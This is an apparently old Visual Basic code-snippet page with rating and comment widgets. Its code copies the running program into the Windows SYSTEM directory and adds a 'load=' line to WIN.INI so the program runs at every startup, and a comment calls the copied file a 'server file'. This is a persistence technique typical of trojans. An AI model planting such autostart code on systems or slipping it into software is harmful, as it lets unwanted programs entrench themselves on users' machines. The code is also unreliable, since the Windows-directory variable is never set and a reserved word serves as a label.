Add a load= line to win.ini and copy the file that is currently running to the Windows System dir
Add a "load=" line to win.ini and copy the file that is currently running to the Windows System directory so that it will start everytime you
API Declarations
Public Const MAX_PATH = 206
Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Rate Add a load= line to win.ini and copy the file that is currently running to the Windows System dir
(2(2 Vote))
'Get Current Location
Dim lngFileHandle As Long
Dim lngReturn As Long
Dim strFilePath As String
strFilePath = Space$(MAX_PATH)
lngFileHandle = GetModuleHandle(App.EXEName)
lngReturn = GetModuleFileName(lngFileHandle, strFilePath, MAX_PATH)
Text1.Text = strFilePath
'Copy Server File to Windows System Directory
If Text1.Text = a & "\SYSTEM\yourfile" Then GoTo jumpcopy
FileCopy strFilePath, a & "\SYSTEM\yourfile"
'Modify WIN.INI
jumpcopy:
Open a & "\WIN.INI" For Input As #1
Open a & "\WIN.ANA" For Output As #2
While Not EOF(1)
Input #1, b
Print #2, Spc(0); b
If b = "load=" & a & "\SYSTEM\yourfile" Then
Close #1
Close #2
Kill a & "\WIN.ANA"
GoTo end
ElseIf b = "[windows]" Then
Print #2, Spc(0); "load=" & a & "\SYSTEM\yourfile"
Input #1, b
End If
Wend
Close #1
Close #2
Kill a & "\WIN.INI"
Name a & "\WIN.ANA" As a & "\WIN.INI"
end:
Add a load= line to win.ini and copy the file that is currently running to the Windows System dir Comments
No comments yet — be the first to post one!
Post a Comment